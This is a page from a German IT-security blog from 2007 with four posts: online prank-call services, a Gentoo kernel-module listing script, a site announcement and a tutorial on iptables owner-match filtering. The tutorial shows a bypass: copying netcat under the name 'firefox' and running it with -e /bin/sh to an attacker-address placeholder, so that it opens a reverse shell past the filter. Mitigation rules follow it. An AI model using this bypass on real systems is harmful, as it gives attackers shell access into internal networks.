Remoteshell-Security Blog

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 541

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Spassgesellschaft Deutschland

26 10 2007

Nicht schlecht hatte ich gestaunt, als ich heute einen Anruf von Sven Görmann bekamm, der doch tatsächlich einen angeblich bei mir gekauften PC über Ebay zurück schicken wollte.

Schon zu Beginn des Telefonats hatte ich den Eindruck mit einem Computerprogramm zu sprechen, da mich die immer wieder gleiche Betonung bei gleichen Sätzen und auch das wiederholte Aufkommen von gleichen Sätzen auf gefallen war.

Daher beendete ich das Telefonat einfach kurzer Hand, nach dem mir das Ganze doch ein wenig zu doof vor kam.

Anschließend suchte ich im Internet nach Informationen zu der Person die mich angeruffen hatte und schnell stellte sich meine Annahme als bestätigt heraus.

Wie sich heraus stellte handelte es sich bei diesem ominösen Anruf, um einen Spassanruf des neuen "Telefonspassportals" marcophono.net .

Die Idee dahinter ist gänzlich einfach, man wählt als Anwender des Portals einfach den gewünschten Streich aus. Anschließend ist nur noch der Name des anzurufenden zu wählen und die Telefonnummer des betroffenden einzugeben, schon kann der Spass beginnen.

Vor nicht ganz zu langer Zeit war die Plattform peterzahlt.de in aller Munde, mit der es möglich ist für 30 Minuten ein Telefonat auf Kosten des Plattform-Betreibers zwischen 2 Rufnummern zu führen. Das interessant dabei ist, das es einem auch möglich ist, Leute miteinander telefonieren zu lassen, die sich beispielsweise garnicht leiden können. Einzige Vorraussetzung ist, das beide das Gespräch entgegen nehmen.

Doch was hat ganze nun mit IT-Sicherheit zu tun, um ehrlich zu sein reichlich wenig, jedoch könnte ich mir eine Art DoS durch solche Services vorstellen, welche man auch relativ leicht automatisieren könnte. In so einem Fall, wäre dann eine Rufnummern-Sperre wohl das effektivste.

Ich bin gespannt welche Entwicklungen solche Services noch in Zukunft nehmen.

Kommentare : Noch keine Kommentare »
Kategorien : General
Trackbacks : Keine Trackbacks »

gmc: Der Modul Helfer

21 10 2007

Alle die schonmal unter Gentoo die Modul-Namen in der Datei /etc/modules.autoload.d/kernel-2.6 eintragen mussten, wissen wie unangenehm diese Aufgabe sein kann, wenn es viele Module gibt die einzutragen sind.

Um sich hier die Arbeit zu erleichtern, habe ich ein kleines Shell-Script geschrieben, welches mit Hilfe der BASH oder der Korn Shell einem hier diese lästige Arbeit abnimmt:

root@gentoo:~ # vi /sbin/gmc



# !/bin/bash

# Copyright 2006-2007 RemoteShell-Security.com

# Distributed under the terms of the GNU General Public License v2

# title: gmc

mf=/etc/modules.autoload.d/kernel-2.6

#clear

rm -rf $mf

rm -rf /tmp/gmc 2>/dev/null

#file header:

echo '# /etc/modules.autoload.d/kernel-2.6:  kernel modules to load when system boots.'>${mf}



if [ $1 ]

 then

 kpath=$1

 find /lib/modules/${kpath}/ -type f -iname '*.o' -or -iname '*.ko' >/tmp/gmc

 while read var; do

 tn=${var##*/}

 echo ${tn%.ko} >>${mf}

 done < /tmp/gmc

else

echo "usage: gmc <name of current kernel version>"

fi

rm -rf /tmp/gmc 2>/dev/null

Die Benutzung des Scripts ist auch realtiv einfach. Das Script erwartet beim Aufruf nur als Parameter den Namen der Kernel Version aus welcher man die Module laden möchte.

Weiß man den Namen nicht auswendig, so schaut man einfach unter /lib/modules/ nach. Es sei noch darauf hingewiesen, das für Ausführung in der Regel Root-Rechte benötigt werden.

Kommentare : Noch keine Kommentare »
Kategorien : Programmierung
Trackbacks : Keine Trackbacks »

remoteshell-security.com im Wandel

04 10 2007

Wie bereits schon vor längeren Angekündigt, wird es einige Änderungen in naher Zukunft hier geben. Diese betreffen in erster Linie dem Aufbau und Struktur der Webseite.

Dazu zählen auch der Umzug des network-and-security.de Board auf meinem Webspace. Die Übernahme der Domain ist bereits in Gange und wird in den nächsten Wochen vollendet sein. Den genauen Zeitpunkt für die Übernahme wird nochmals expliziet im Forum angekündigt.

Das Board selbst ist schon auf meinem Webspace vorhanden und neben der regulären URL, auch über forum.remoteshell-security.com zu erreichen.

Ziel des ganzen wird es sein, aus dem network-and-security.de Board und remoteshell-security.com ein größeres Portal zu schaffen, welches sich mit den vielen Faceten der IT-Sicherheit befasst.

Der Aufbau des Portals sowie die Features die das Portal bieten soll, wird im Forum bereits diskutiert. Anregungen, Kritik wie auch eigene Vorschläge sind jeder Zeit willkommen und können dort abgeben werden.

Die Administration wie auch die Entwicklung des Portals werden durch Thomas Schneider

und mich geleitet.

Neben diesen Änderungen wurde auch die Domain rsek.net abgetretten, somit ist die Webseite nur noch über ihre eigentliche URL zu erreichen, nämlich remoteshell-security.com.

Kommentare : Noch keine Kommentare »
Kategorien : Concerning this page
Trackbacks : Keine Trackbacks »

Der Owner-Match von Iptables: Stärken und Schwächen

24 08 2007

Das man mittels Iptables mächtige Firewall-Regeln aufstellen kann ist keine neue Sache und den meisten Administratoren auch bekannt. Doch Iptables steckt voller Überraschungen, so kann man bei ausgehenden Paketen neben den Protokoll spezifischen Eigenschaften (bei TCP wären es z.B. Quell-Port/-Adresse sowie Ziel-Port/-Adresse, TTL, FLAG, etc.) auch die User-ID(UID), die Group-ID(GID), die Process-ID(PID) sowie die Session-ID(SID) des Programms von dem das Paket stammt prüfen und Regeln dem entsprechend aufstellen.

Die Technik, die sich dahinter verbirgt wird als Owner-Match bezeichnet. Wie oben schon erwähnt greift der Owner-Match nur bei ausgehenden Pakete, welche man selber erzeugt hat, genauer nur in der OUTPUT-Kette.
Neben den oben genannten Features von Iptables, bieten neue Versionen von Iptables auch die Möglichkeit Filter auf dem Kommandonamen anzuwenden.

Die Optionen die der Owner-Match zur Verfügung stellt, sind in nachfolgender Tabelle aufgelistet:

Es sei noch darauf Hingewiesen, das die letzten drei Optionen (<pid>,<sid>,<cmd>) auf Symmetrischen Multiprozessorsystemen (kurz SMP) defekt sind und somit dort nicht laufen.

Nun sehen wir uns noch ein paar weitere praktische Beispiele des Owner-Matches an, die uns bei der täglichen Arbeit helfen sollen. Als Szenario sei die Situation gegeben, das man einen Terminalserver mit vielen verschiedenen Benutzern betreibt und nur bestimmten Benutzern der Verbindungsaufbau ins WAN (z.B. dem Internet) erlaubt werden soll. Durch den Owner-Match hat man die Möglichkeit jeden einzelnen Benutzer mittels der User-ID den Zugriffs ins WAN zu erlauben (-j ACCEPT) oder zu verwehren (-J REJECT):

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 314 -m state --state NEW -j REJECT
root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 -m state --state NEW -j ACCEPT
root@gentoo:~ # iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
root@gentoo:~ # iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEP

Nehmen wir an, das der Benutzer mit der User-ID 314 Herr Müller ist und der Benutzer mit der User-ID 315 der Herr Maier. So wie die Regeln jetzt oben zu sehen sind, darf nur Herr Maier Verbindungen ins WAN aufbauen und führen. Herr Müller hingegen wird der Zugriff ins WAN verwehrt. Wenn man nun Herrn Maiers seine Verbindungen noch weiter einschränken möchte, z.B. das er nur noch im Internet mit dem Browser Firefox surfen darf, so kann man sich die Fähigkeiten des cmd-owner-Matches zu nutze machen:

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 --cmd-owner firefox -p tcp -m multiport \
--dport 80,443 -m state --state NEW -j ACCEPT

Mit dieser Abänderung kann Herr Maier nur noch mit dem Browser Firefox TCP-Verbindungen auf den Port 80 (HTTP) sowie 443 (HTTPS) aufbauen. Nicht berücksichtigt sind hier DNS wie auch andere Kleinigkeiten, die hier aber auch nicht zur Diskussion stehen.

Hinweis:

Alle hier genannten Firewall-/Filter-Regeln stellen nur Ausschnitte aus vollständigen Firewall-Scripten da, die als gegeben vorausgesetzt werden. Nur die relevanten Informationen zum Owner-Match werden aufgeführt. Wer sich ernsthaft mit dem Netfilter-Paket und somit auch mit Iptables auseinander setzen möchte, dem sei das Buch "Linux-Firewalls mit iptables & Co." empfohlen.

Auch wenn der obige Ansatz auf dem ersten Blick relativ sicher aussieht, so kann man den Abgleich des Kommandonamens sehr einfach unterlaufen:

maier@gentoo:~ $ cp /bin/nc ~/firefox
maier@gentoo:~ $ ./firefox -e /bin/sh <ip-angreifer> 80

Diese einfache Kopie von netcat, ermöglicht es Herrn Maier, es für Iptables so aussehen zu lassen, als würde er wie in seiner Richtlinie festgelegt, mit Firefox surfen, doch in Wirklichkeit öffnet er einen externen Angreifer einen Zugang ins interne Netz. Der Grund wieso hier der Owner-Match (genauer der cmd-owner-Match) nicht greift liegt daran, das nur der Kommandonamen überprüft wird und dieser bleibt ja bestehen. Abhilfe schaffen hier nur genauer Restriktionen auf Dateisystemebene sowie das Verwenden der PID oder SID. Allerdings muss man bei Programmen, welche nicht als Daemon (Server-Dienst) fungieren wohl eher auf Restriktionen auf Dateisystemebene zurückgreifen, da sich PID wie auch SID beim Neustarten des Programms nicht immer gleich sein muss. Ein Beispiel für die Verwendung von der SID ist folgende:

statt
root@gentoo:~ # iptables -A OUTPUT -m owner --cmd-owner apache2 -j REJECT
sollte man
root@gentoo:~ # iptables -A OUTPUT -m owner --sid-owner $(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5) \
-m state --state NEW -j REJECT
verwenden

Diese einfache Befehlsfolge, welche den Verbindungsaufbau des Apache-Webservers unterbindet (um z.B. Reverse Verbindungen wie CGI Reverse Shells zu verhindern), kann man noch ein wenig verfeinern bzw. restriktiver setzen:

#!/bin/sh
IPT=/sbin/iptables
UID=$(id -u apache) #auf manchen Systemen auch als www-data
SID=$(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5)

$IPT -A OUTPUT -m owner --uid-owner $UID --sid-owner $SID -m state --state NEW -j REJECT

Jetzt findet nicht nur der Abgleich auf die Session-ID statt, sondern auch noch zusätzlich auf die User-ID.

Wie man sieht, ist der Owner-Match von Iptables eine praktische wie auch mächtige Option, um ausgehende Pakete sehr detailliert zu filtern.

Kommentare : 2 Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

« vorherige Seite (Seite 6 von 12, insgesamt 46 Einträge) » nächste Seite
Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 541

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Remoteshell-Security Blog

Spassgesellschaft Deutschland

gmc: Der Modul Helfer

remoteshell-security.com im Wandel

Der Owner-Match von Iptables: Stärken und Schwächen

Suche

Kategorien

Blog abonnieren